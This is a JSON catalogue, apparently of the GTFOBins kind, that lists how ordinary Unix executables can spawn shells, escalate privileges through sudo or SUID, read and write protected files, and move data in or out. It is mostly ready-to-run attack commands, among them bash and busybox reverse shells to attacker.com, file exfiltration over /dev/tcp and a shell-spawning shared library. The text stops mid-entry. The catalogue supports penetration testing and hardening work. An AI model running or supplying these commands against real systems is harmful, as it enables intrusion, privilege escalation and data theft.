{
    "functions": {"shell":{"label":"Shell","description":"This executable can spawn an interactive system shell.","mitre":["T1059"],"extra":{"tty":{"false":"The spawned shell is just a dummy REPL that can only run simple terminal commands."},"blind":{"true":"The commands are executed but their output is hidden from the attacker."}}},"command":{"label":"Command","description":"This executable can run non-interactive system commands.","mitre":["T1059"],"extra":{"blind":{"true":"The commands are executed but their output is hidden from the attacker."}}},"reverse-shell":{"label":"Reverse shell","description":"This executable can send back a reverse system shell to a listening attacker.","mitre":["T1059","T1071"],"extra":{"tty":{"false":"The spawned shell is just a dummy REPL that can only run simple terminal commands."},"blind":{"true":"The commands are executed but their output is hidden from the attacker."},"listener":{"tcp-server":{"comment":"A TCP server can be used on the attacker box to receive the shell.","code":"nc -l -p 12345"},"tcp-server-tty":{"comment":"A TCP server can be used on the attacker box to receive the shell.","code":"socat file:/dev/tty,raw,echo=0 tcp-listen:12345"},"tls-server":{"comment":"A TLS server can be used on the attacker box to receive the shell.","code":"openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port 12345"}}}},"bind-shell":{"label":"Bind shell","description":"This executable can bind a system shell to a local port waiting for an attacker to connect.","mitre":["T1059","T1071"],"extra":{"tty":{"false":"The spawned shell is just a dummy REPL that can only run simple terminal commands."},"blind":{"true":"The commands are executed but their output is hidden from the attacker."},"connector":{"tcp-client":{"comment":"A TCP client can be used on the attacker box to connect to the shell.","code":"nc victim.com 12345"},"tcp-client-tty":{"comment":"A TCP client can be used on the attacker box to receive the shell.","code":"socat file:/dev/tty,raw,echo=0 tcp:victim.com:12345"}}}},"file-write":{"label":"File write","description":"This executable can write data to local files.","mitre":["T1565"],"extra":{"binary":{"false":"The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data."}}},"file-read":{"label":"File read","description":"This executable can read data from local files.","mitre":["T1005"],"extra":{"binary":{"false":"The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data."}}},"upload":{"label":"Upload","description":"This executable can upload local data.","mitre":["T1041"],"extra":{"binary":{"false":"The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data."},"receiver":{"tcp-client":{"comment":"A TCP client can be used on the attacker box to receive the data.","code":"nc victim.com 12345 >/path/to/output-file"},"tcp-server":{"comment":"A TCP server can be used on the attacker box to receive the data.","code":"nc -l -p 12345 >/path/to/output-file"},"http-client":{"comment":"An HTTP client can be used on the attacker box to receive the data.","code":"curl victim.com -o /path/to/output-file"},"http-server":{"comment":"An HTTP server can be used on the attacker box to receive the data.","code":"nc -l -p 80 | awk 'BEGIN {RS=\"\\r\\n\\r\\n\";ORS=\"\"} NR==2' >/path/to/output-file"},"ftp-server":{"comment":"An FTP server can be used on the attacker box to receive the data.","code":"python -m pyftpdlib -w -p 21"},"ssh-server":{"comment":"An SSH server can be used on the attacker box to receive the data."},"tls-server":{"comment":"A TLS server can be used on the attacker box to receive the data.","code":"openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port 12345 >/path/to/output-file"}}}},"download":{"label":"Download","description":"This executable can download remote data.","mitre":["T1105"],"extra":{"binary":{"false":"The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data."},"sender":{"tcp-client":{"comment":"A TCP client can be used on the attacker box to send the data.","code":"nc victim.com 12345 </path/to/input-file"},"tcp-server":{"comment":"A TCP server can be used on the attacker box to send the data.","code":"nc -l -p 12345 </path/to/input-file"},"http-client":{"comment":"An HTTP client can be used on the attacker box to send the data.","code":"curl victim.com --data-binary @/path/to/input-file"},"http-server":{"comment":"An HTTP server can be used on the attacker box to send the data.","code":"python -m http.server 80"},"ftp-server":{"comment":"An FTP server can be used on the attacker box to send the data.","code":"python -m pyftpdlib -w -p 21"},"ssh-server":{"comment":"An SSH server can be used on the attacker box to send the data."},"tls-server":{"comment":"A TLS server can be used on the attacker box to send the data.","code":"openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port 12345 </path/to/input-file"}}}},"library-load":{"label":"Library load","description":"This executable can load shared libraries that may be used to run arbitrary code in the same execution context.","mitre":["T1574"],"extra":{"payload":"As an example, the following can be used to create a minimal shared library (`lib.so`) that spawns a shell upon loading:\n\n```\necho '__attribute__((constructor)) init() { execl(\"/bin/sh\", \"sh\", 0); }' \\\n    | gcc -w -fPIC -shared -o lib.so -x c -\n```\n\nAdd the usual `-p` argument to the shell for SUID contexts. Consider calling `setuid(0);` beforehand if the executable has the `CAP_SETUID` capability assigned."}},"privilege-escalation":{"label":"Privilege escalation","description":"This executable provides a mechanism for privilege escalation by indirectly enabling elevated privileges, such as setting the SUID bit or modifying the ownership of another executable.","mitre":["T1548"]},"inherit":{"label":"Inherit","description":"This executable can inherit functions from another."}},
    "contexts": {"unprivileged":{"label":"Unprivileged","description":"This function can be performed by any unprivileged user."},"sudo":{"label":"Sudo","description":"This function is performed by the privileged user if executed via `sudo` because the acquired privileges are not dropped.","extra":{"environment":"If there are environment variables involved, they must be passed via `sudo VAR=value ...` or exported then `sudo -E ...`."}},"suid":{"label":"SUID","description":"This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the *effective* privileges are not dropped.","extra":{"shell":{"true":"This executable runs commands using the system shell, e.g., via functions like `system`, so it only works for distributions where the shell does not drop SUID privileges.","false":"This executable runs commands directly, e.g., via functions like `exec`, remember to omit the `-p` argument of every `/bin/sh` invocation for distributions where the default shell does not drop SUID privileges."}}},"capabilities":{"label":"Capabilities","description":"This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.","extra":{"list":"The following capabilities are needed:"}}},
    "executables": {"7z": {"functions":{"file-read":[{"code":"7z a -ttar -an -so /path/to/input-file | 7z e -ttar -si -so","contexts":{"sudo":null,"unprivileged":null}}]}},"R": {"functions":{"shell":[{"code":"R --no-save -e 'system(\"/bin/sh\")'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"aa-exec": {"functions":{"shell":[{"code":"aa-exec /bin/sh","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"ab": {"functions":{"download":[{"code":"ab -v2 http://attacker.com/path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"http-server"}],"upload":[{"code":"ab -p /path/to/input-file http://attacker.com/","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"http-server"}]}},"acr": {"functions":{"command":[{"code":"echo -e 'x:\\n\\t/bin/sh 1>&0 2>&0' >/path/to/temp-file\nchmod +x /path/to/temp-file\nacr -r ./relative/path/to/temp-file","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"agetty": {"functions":{"shell":[{"code":"agetty -l /bin/sh -o -p -a root tty","contexts":{"suid":{"shell":false}}}]}},"alpine": {"functions":{"file-read":[{"code":"alpine -F /path/to/input-file","comment":"The file is displayed in the terminal interface. Other options might be available, for example, by pressing `S` is possible to save the file content elsewhere.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"ansible-playbook": {"functions":{"shell":[{"code":"echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >/path/to/temp-file\nansible-playbook /path/to/temp-file","contexts":{"sudo":null,"unprivileged":null}}]}},"ansible-test": {"functions":{"shell":[{"code":"ansible-test shell","contexts":{"sudo":null,"unprivileged":null}}]}},"aoss": {"functions":{"shell":[{"code":"aoss /bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"apache2": {"functions":{"file-read":[{"binary":false,"code":"apache2 -f /path/to/input-file","comment":"The first line may be leaked as an error message.","contexts":{"sudo":null,"suid":null,"unprivileged":null}},{"binary":false,"code":"apache2 -C 'Define APACHE_RUN_DIR /' -C 'Include /path/to/input-file'","comment":"The first line may be leaked as an error message.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"apache2ctl": {"functions":{"file-read":[{"binary":false,"code":"apache2ctl -c 'Include /path/to/input-file'","comment":"The first line only is likely leaked as an error message.","contexts":{"sudo":null,"unprivileged":null}}]}},"apport-cli": {"functions":{"inherit":[{"code":"apport-cli -f\n1\n2\nv","comment":"The terminal interface expects some choices in order to spawn tha pager.","contexts":{"unprivileged":null},"from":"less"}]}},"apt": {"alias":"apt-get"},"apt-get": {"functions":{"inherit":[{"code":"apt-get changelog apt","contexts":{"sudo":null,"unprivileged":null},"from":"less"}],"shell":[{"code":"echo 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' >/path/to/temp-file\napt-get -y install -c /path/to/temp-file sl","comment":"For this to work the target package (i.e., `sl`) must not be already installed.","contexts":{"sudo":null,"suid":{"shell":true}}},{"code":"apt-get update -o APT::Update::Pre-Invoke::=/bin/sh","comment":"When the shell exits the `update` command is actually executed.","contexts":{"sudo":null,"suid":{"shell":true}}}]}},"aptitude": {"functions":{"inherit":[{"code":"aptitude changelog aptitude","contexts":{"sudo":null,"unprivileged":null},"from":"less"}]}},"ar": {"functions":{"file-read":[{"code":"ar r /path/to/output-file /path/to/input-file\nar p /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"arch-nspawn": {"functions":{"shell":[{"code":"mkdir -p ./etc/\ngrep -oP \"^CHROOT_VERSION='\\K[^']+\" /usr/share/devtools/lib/archroot.sh >.arch-chroot\ntouch ./etc/pacman.conf\necho 'CARCH=true;/bin/sh;exit' >etc/makepkg.conf\narch-nspawn .","contexts":{"sudo":null}}]}},"aria2c": {"functions":{"command":[{"code":"echo /path/to/command >/path/to/temp-file\nchmod +x /path/to/temp-file\naria2c --on-download-error=/path/to/temp-file http://some-invalid-domain","comment":"Note that the subprocess is immediately sent to the background.","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}},{"code":"aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa","comment":"The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script, e.g., `/path/to/command`. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}],"download":[{"code":"aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file","comment":"Use `--allow-overwrite` if needed. Similarly `-o /path/to/ouput-file` can be omitted, in that case the file is saved to `input-file` in the current working directory.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-read":[{"binary":false,"code":"aria2c -i /path/to/input-file","comment":"The file is leaked as error messages.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"arj": {"functions":{"file-read":[{"binary":false,"code":"arj a /path/to/output-file /path/to/input-file\narj p /path/to/output-file","comment":"The `.arj` suffix will be added to `output-file`.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"echo DATA >output-file\narj a x output-file\narj e x /path/to/output-dir/","comment":"The `.arj` suffix will be added to `x`.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"arp": {"functions":{"file-read":[{"binary":false,"code":"arp -v -f /path/to/input-file","comment":"Lines are likely leaked as error messages.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"as": {"functions":{"file-read":[{"code":"as @/path/to/input-file","comment":"Lines are likely leaked as error messages.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"ascii-xfr": {"functions":{"file-read":[{"code":"ascii-xfr -ns /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"ascii85": {"functions":{"file-read":[{"code":"ascii85 /path/to/input-file | ascii85 --decode","contexts":{"sudo":null,"unprivileged":null}}]}},"ash": {"functions":{"file-write":[{"code":"ash -c 'echo DATA >/path/to/output-file'","contexts":{"sudo":null,"suid":{"code":"ash -p -c 'echo DATA >/path/to/output-file'"},"unprivileged":null}}],"shell":[{"code":"ash","contexts":{"sudo":null,"suid":{"code":"ash -p"},"unprivileged":null}}]}},"aspell": {"functions":{"file-read":[{"binary":false,"code":"aspell -c /path/to/input-file","comment":"The textual file is displayed in an interactive TUI showing only the parts that contain mispelled words.","contexts":{"sudo":null,"suid":null,"unprivileged":null}},{"binary":false,"code":"aspell --conf /path/to/input-file","comment":"The first word is likely displayed as error messaged, and converted to lowercase.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"asterisk": {"functions":{"shell":[{"code":"asterisk -r\n!/bin/sh","comment":"A server instance must be already running, otherwise it can be started with `sudo asterisk -F`. Moreover, the invoking user must be able to access the socket.","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"at": {"functions":{"command":[{"blind":true,"code":"echo /path/to/command | at now","contexts":{"sudo":null,"unprivileged":null}}],"shell":[{"code":"echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | at now; tail -f /dev/null","comment":"`tail` is used to pause the terminal.","contexts":{"sudo":null,"unprivileged":null}}]}},"atobm": {"functions":{"file-read":[{"code":"atobm /path/to/input-file","comment":"Outputs only the first line of the file to standard error without the `-` and `#` characters, this can be customized with the `-c` option, by default is `-c -#`. Content can be retrieved with `awk -F \"'\" '{printf \"%s\", $2}'`.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"autoconf": {"functions":{"shell":[{"code":"echo /bin/sh >/path/to/temp-file\nchmod +x /path/to/temp-file\ntouch configure.ac\nAUTOM4TE=/path/to/temp-file autoconf","contexts":{"sudo":null,"unprivileged":null}}]}},"autoheader": {"functions":{"shell":[{"code":"echo '/bin/sh 1>&0' >/path/to/temp-file\nchmod +x /path/to/temp-file\ntouch configure.ac\nAUTOM4TE=/path/to/temp-file autoheader","contexts":{"sudo":null,"unprivileged":null}}]}},"autoreconf": {"functions":{"shell":[{"code":"echo '/bin/sh 1>&0' >/path/to/temp-file\nchmod +x /path/to/temp-file\necho AC_INIT >configure.ac\nAUTOM4TE=/path/to/temp-file autoreconf","comment":"The shell is invoked multiple times.","contexts":{"sudo":null,"unprivileged":null}}]}},"awk": {"alias":"mawk"},"aws": {"functions":{"file-read":[{"binary":false,"code":"aws ec2 describe-instances --filter file:///path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"inherit":[{"code":"aws help","contexts":{"sudo":null,"unprivileged":null},"from":"less"}]}},"base32": {"functions":{"file-read":[{"code":"base32 /path/to/input-file | base32 --decode","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"base58": {"functions":{"file-read":[{"code":"base58 /path/to/input-file | base58 --decode","contexts":{"sudo":null,"unprivileged":null}}]}},"base64": {"functions":{"file-read":[{"code":"base64 /path/to/input-file | base64 --decode","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"basenc": {"functions":{"file-read":[{"code":"basenc --base64 /path/to/input-file | basenc -d --base64","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"basez": {"functions":{"file-read":[{"code":"basez /path/to/input-file | basez --decode","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"bash": {"functions":{"download":[{"binary":false,"code":"bash -c '{ echo -ne \"GET /path/to/input-file HTTP/1.0\\r\\nhost: attacker.com\\r\\n\\r\\n\" 1>&3; cat 0<&3; } \\\n    3<>/dev/tcp/attacker.com/12345 \\\n    | { while read -r; do [ \"$REPLY\" = \"$(echo -ne \"\\r\")\" ] && break; done; cat; } >/path/to/output-file'","contexts":{"sudo":null,"suid":{"code":"bash -p -c '{ echo -ne \"GET /path/to/input-file HTTP/1.0\\r\\nhost: attacker.com\\r\\n\\r\\n\" 1>&3; cat 0<&3; } \\\n    3<>/dev/tcp/attacker.com/12345 \\\n    | { while read -r; do [ \"$REPLY\" = \"$(echo -ne \"\\r\")\" ] && break; done; cat; } >/path/to/output-file'"},"unprivileged":null},"sender":"http-server"},{"binary":false,"code":"bash -c 'echo \"$(</dev/tcp/attacker.com/12345) >/path/to/output-file'","contexts":{"sudo":null,"suid":{"code":"bash -p -c 'echo \"$(</dev/tcp/attacker.com/12345) >/path/to/output-file'"},"unprivileged":null},"sender":"tcp-server"}],"file-read":[{"binary":false,"code":"bash -c 'echo \"$(</path/to/input-file)\"'","contexts":{"sudo":null,"suid":{"code":"bash -p -c 'echo \"$(</path/to/input-file)\"'"},"unprivileged":null}},{"binary":false,"code":"HISTTIMEFORMAT=$'\\r\\e[K'\nhistory -c\nhistory -r /path/to/input-file\nhistory","comment":"This only works interactively from an existing `bash` session.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"bash -c 'echo DATA >/path/to/output-file'","contexts":{"sudo":null,"suid":{"code":"bash -p -c 'echo DATA >/path/to/output-file'"},"unprivileged":null}},{"binary":false,"code":"HISTIGNORE='history *'\nhistory -c\nDATA\nhistory -w /path/to/output-file","comment":"This only works interactively from an existing `bash` session. It adds timestamps to the output file.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"library-load":[{"code":"bash -c 'enable -f /path/to/lib.so x'","contexts":{"sudo":null,"suid":{"code":"bash -p -c 'enable -f /path/to/lib.so x'"},"unprivileged":null}}],"reverse-shell":[{"code":"bash -c 'exec bash -i &>/dev/tcp/attacker.com/12345 <&1'","contexts":{"sudo":null,"suid":{"code":"bash -p -c 'exec bash -p -i &>/dev/tcp/attacker.com/12345 <&1'"},"unprivileged":null},"listener":"tcp-server"}],"shell":[{"code":"bash","contexts":{"sudo":null,"suid":{"code":"bash -p"},"unprivileged":null}}],"upload":[{"binary":false,"code":"bash -c 'echo -e \"POST / HTTP/0.9\\n\\n$(</path/to/input-file)\" >/dev/tcp/attacker.com/12345'","contexts":{"sudo":null,"suid":{"code":"bash -p -c 'echo -e \"POST / HTTP/0.9\\n\\n$(</path/to/input-file)\" >/dev/tcp/attacker.com/12345'"},"unprivileged":null},"receiver":"http-server"},{"binary":false,"code":"bash -c 'echo -n \"$(</path/to/input-file)\" >/dev/tcp/attacker.com/12345'","contexts":{"sudo":null,"suid":{"code":"bash -p -c 'echo -n \"$(</path/to/input-file)\" >/dev/tcp/attacker.com/12345'"},"unprivileged":null},"receiver":"tcp-server"}]}},"bashbug": {"functions":{"inherit":[{"code":"bashbug","contexts":{"sudo":null,"unprivileged":null},"from":"vi"}]}},"batcat": {"functions":{"inherit":[{"code":"batcat --paging always /etc/hosts","comment":"`--paging always` can be omitted provided that the output doesn't fit the screen.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"less"}]}},"bbot": {"functions":{"file-read":[{"binary":false,"code":"bbot -d -cy /path/to/input-file","comment":"The file is displayed in the debug log.","contexts":{"sudo":null,"unprivileged":null}}]}},"bc": {"functions":{"file-read":[{"code":"bc -s /path/to/input-file\nquit","comment":"The file content is actually parsed and appears as error messages.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"bconsole": {"functions":{"file-read":[{"code":"bconsole -c /path/to/file-input","comment":"The file is actually parsed and the first wrong line is returned in an error message.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"bconsole\n@exec /bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"bee": {"functions":{"inherit":[{"code":"bee eval '...'","comment":"This allows to run PHP code (`...`).\n\nThis must be excuted from the Backdrop CMS root directory (e.g. `/var/www/html`), alternatively use the `--root` option.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"php"}]}},"borg": {"functions":{"shell":[{"code":"borg extract @:/::: --rsh \"/bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'\"","contexts":{"sudo":null,"unprivileged":null}}]}},"bpftrace": {"functions":{"shell":[{"code":"bpftrace --unsafe -e 'BEGIN {system(\"/bin/sh 1<&0\");exit()}'","contexts":{"sudo":null}},{"code":"echo 'BEGIN {system(\"/bin/sh 1<&0\");exit()}' >/path/to/temp-file\nbpftrace --unsafe /path/to/temp-file","contexts":{"sudo":null}},{"code":"bpftrace -c /bin/sh -e 'END {exit()}'","contexts":{"sudo":null}}]}},"bridge": {"functions":{"file-read":[{"code":"bridge -b /path/to/input-file","comment":"Outputs the first line of the file (until the first whitespace) inside an error message to stdandard error.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"bundle": {"functions":{"inherit":[{"code":"bundle help","contexts":{"sudo":null,"unprivileged":null},"from":"less"},{"code":"touch Gemfile\nbundle console","contexts":{"sudo":null,"unprivileged":null},"from":"irb"}],"shell":[{"code":"BUNDLE_GEMFILE=x bundle exec /bin/sh","contexts":{"sudo":null,"unprivileged":null}},{"code":"touch Gemfile\nbundle exec /bin/sh","contexts":{"sudo":null,"unprivileged":null}},{"code":"echo 'system(\"/bin/sh\")' >Gemfile\nbundle install","comment":"This might run the shell twice, one after the other.","contexts":{"sudo":null,"unprivileged":null}}]}},"bundler": {"alias":"bundle"},"busctl": {"functions":{"inherit":[{"code":"busctl --show-machine","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"less"}],"shell":[{"code":"busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'","contexts":{"sudo":null,"suid":{"code":"busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'","shell":false},"unprivileged":null}},{"code":"busctl --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'","contexts":{"sudo":null,"suid":{"code":"busctl --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'","shell":false},"unprivileged":null}}]}},"busybox": {"comment":"BusyBox may contain many utilities, run `busybox --list-full` to check what other binaries are supported.","functions":{"inherit":[{"code":"busybox ash","contexts":{"sudo":null,"unprivileged":null},"from":"ash"},{"code":"busybox cat","contexts":{"sudo":null,"unprivileged":null},"from":"cat"}],"reverse-shell":[{"code":"busybox nc -e /bin/sh attacker.com 12345","contexts":{"sudo":null,"unprivileged":null},"listener":"tcp-server"}],"upload":[{"code":"busybox httpd -f -p 12345 -h .","comment":"This serves files in the local folder via an HTTP server.","contexts":{"sudo":null,"unprivileged":null},"receiver":"http-client"}]}},"byebug": {"functions":{"inherit":[{"code":"byebug --no-stop /path/to/script.rb","contexts":{"sudo":null,"unprivileged":null},"from":"ruby"}]}},"bzip2": {"comment":"There are also a number of other utilities that rely on `bzip2` under the hood, e.g., `bzless`, `bzcat`, `bunzip2`, etc. Besides having similar features, they also allow privileged reads if `bzip2` itself is SUID.","functions":{"file-read":[{"code":"bzip2 -c /path/to/input-file | bzip2 -d","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"c89": {"alias":"gcc"},"c99": {"alias":"gcc"},"cabal": {"functions":{"shell":[{"code":"cabal exec --project-file=/dev/null -- /bin/sh","contexts":{"sudo":null,"suid":{"code":"cabal exec --project-file=/dev/null -- /bin/sh -p","shell":false},"unprivileged":null}}]}},"cancel": {"functions":{"upload":[{"binary":false,"code":"cancel -h attacker.com:12345 -u DATA","comment":"Data is sent as a POST request along with other content.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"capsh": {"functions":{"shell":[{"code":"capsh --","contexts":{"sudo":null,"suid":{"code":"capsh --gid=0 --uid=0 --"},"unprivileged":null}}]}},"cargo": {"functions":{"inherit":[{"code":"cargo help doc","contexts":{"sudo":null,"unprivileged":null},"from":"less"}]}},"cat": {"functions":{"file-read":[{"code":"cat /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"cc": {"alias":"gcc"},"cdist": {"functions":{"shell":[{"code":"cdist shell -s /bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"certbot": {"functions":{"shell":[{"code":"certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir . --work-dir . --config-dir . --pre-hook '/bin/sh 1>&0 2>&0'","comment":"This needs a writable directory, replace `.` if needed.","contexts":{"sudo":null,"unprivileged":null}}]}},"chattr": {"functions":{"privilege-escalation":[{"code":"chattr +i /path/to/input-file","comment":"Make the target file immutable.","contexts":{"sudo":null,"suid":null}}]}},"check_by_ssh": {"comment":"This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.","functions":{"shell":[{"code":"check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C x","comment":"The shell will only last 10 seconds.","contexts":{"sudo":null,"unprivileged":null},"version":"When `check_by_ssh` version `2.4.5` (2023-05-31) or later from the Nagios Plugins project in it's default configuration is used, it does not work anymore.\n\nIt does still work on previous versions from the Nagios Plugins project or all versions from the Monitoring Project (e.g. used by Ubuntu/Debian)."}]}},"check_cups": {"comment":"This is the `check_cups` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.","functions":{"file-read":[{"binary":false,"code":"check_cups --extra-opts=@/path/to/input-file","comment":"The read file content is limited to the first line.","contexts":{"sudo":null,"unprivileged":null}}]}},"check_log": {"comment":"This is the `check_log` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.","functions":{"file-read":[{"code":"check_log -F /path/to/input-file -O /dev/stdout","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"code":"check_log -F /path/to/input-file -O /path/to/output-file","contexts":{"sudo":null,"unprivileged":null}}]}},"check_memory": {"comment":"This is the `check_memory` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.","functions":{"file-read":[{"code":"check_memory --extra-opts=@/path/to/input-file","comment":"The read file content is limited to the first line.","contexts":{"sudo":null,"unprivileged":null}}]}},"check_raid": {"comment":"This is the `check_raid` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.","functions":{"file-read":[{"code":"check_raid --extra-opts=@/path/to/input-file","comment":"The read file content is limited to the first line.","contexts":{"sudo":null,"unprivileged":null}}]}},"check_ssl_cert": {"comment":"This is the `check_ssl_cert` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.","functions":{"shell":[{"code":"echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file\nchmod +x /path/to/temp-file\ncheck_ssl_cert --grep-bin /path/to/temp-file -H x","comment":"The shell will be invoked multiple times.","contexts":{"sudo":null,"unprivileged":null}}]}},"check_statusfile": {"comment":"This is the `check_statusfile` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.","functions":{"file-read":[{"code":"check_statusfile /path/to/input-file","comment":"The read file content is limited to the first line.","contexts":{"sudo":null,"unprivileged":null}}]}},"chmod": {"functions":{"privilege-escalation":[{"code":"chmod 6777 /path/to/input-file","comment":"This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a file.","contexts":{"sudo":null,"suid":null}}]}},"choom": {"functions":{"shell":[{"code":"choom -n 0 /bin/sh","contexts":{"sudo":null,"suid":{"code":"choom -n 0 -- /bin/sh -p","shell":false},"unprivileged":null}}]}},"chown": {"functions":{"privilege-escalation":[{"code":"chown $(id -un):$(id -gn) /path/to/input-file","comment":"This can be run with elevated privileges to change ownership and then read, write, or execute a file.","contexts":{"sudo":null,"suid":null}}]}},"chroot": {"functions":{"shell":[{"code":"chroot /","contexts":{"sudo":null,"suid":{"code":"chroot / /bin/sh -p","shell":false}}}]}},"chrt": {"functions":{"shell":[{"code":"chrt 1 /bin/sh","comment":"Any number between 1 and 99 will do.","contexts":{"sudo":null,"suid":{"code":"chrt 1 /bin/sh -p","shell":false},"unprivileged":null}}]}},"clamscan": {"functions":{"file-read":[{"binary":false,"code":"touch x.yara\nclamscan --no-summary -d x.yara -f /path/to/input-file 2>&1 | sed -nE 's/^(.*): No such file or directory$/\\1/p'","comment":"Each line of the file is interpreted as a path and the content is leaked via error messages. The output can optionally be cleaned using `sed`.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"clisp": {"functions":{"shell":[{"code":"clisp -x '(ext:run-shell-command \"/bin/sh\")(ext:exit)'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"cmake": {"functions":{"file-read":[{"code":"cmake -E cat /path/to/input-file","contexts":{"sudo":null,"unprivileged":null}}],"shell":[{"code":"echo 'execute_process(COMMAND /bin/sh)' >/path/to/CMakeLists.txt\ncmake /path/to/","contexts":{"sudo":null,"unprivileged":null}}]}},"cmp": {"functions":{"file-read":[{"binary":false,"code":"cmp /path/to/input-file /dev/zero -b -l","comment":"Dump the bytes of the input file that are different from the NUL byte in a tabular format.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"cobc": {"functions":{"shell":[{"code":"echo 'CALL \"SYSTEM\" USING \"/bin/sh\".' >/path/to/temp-file\ncobc -xFj --frelax-syntax-checks /path/to/temp-file","comment":"The `/path/to/temp-file` sill be overwritten after the execution.","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"code": {"functions":{"download":[{"code":"code tunnel --name xxxxxx","comment":"This requires a valid GitHub account.\n\nRun the command locally, then on the attacker box navigate to <https://github.com/login/device>, using the provided code to authorize the tunnel.","contexts":{"sudo":null,"unprivileged":null},"sender":{"comment":"Navigate to <https://vscode.dev/tunnel/xxxxxx> where a remote VS Code instance can be used to upload files to the victim box.\n\nFrom the menu, select \"File\" -> \"Open Folder...\", right-click on the explorer pane, then select \"Upload...\" to pick a file to send.\n\nAlternatively it's possible to just create and edit files."}}],"reverse-shell":[{"code":"code tunnel --name xxxxxx","comment":"This requires a valid GitHub account.\n\nRun the command locally, then on the attacker box navigate to <https://github.com/login/device>, using the provided code to authorize the 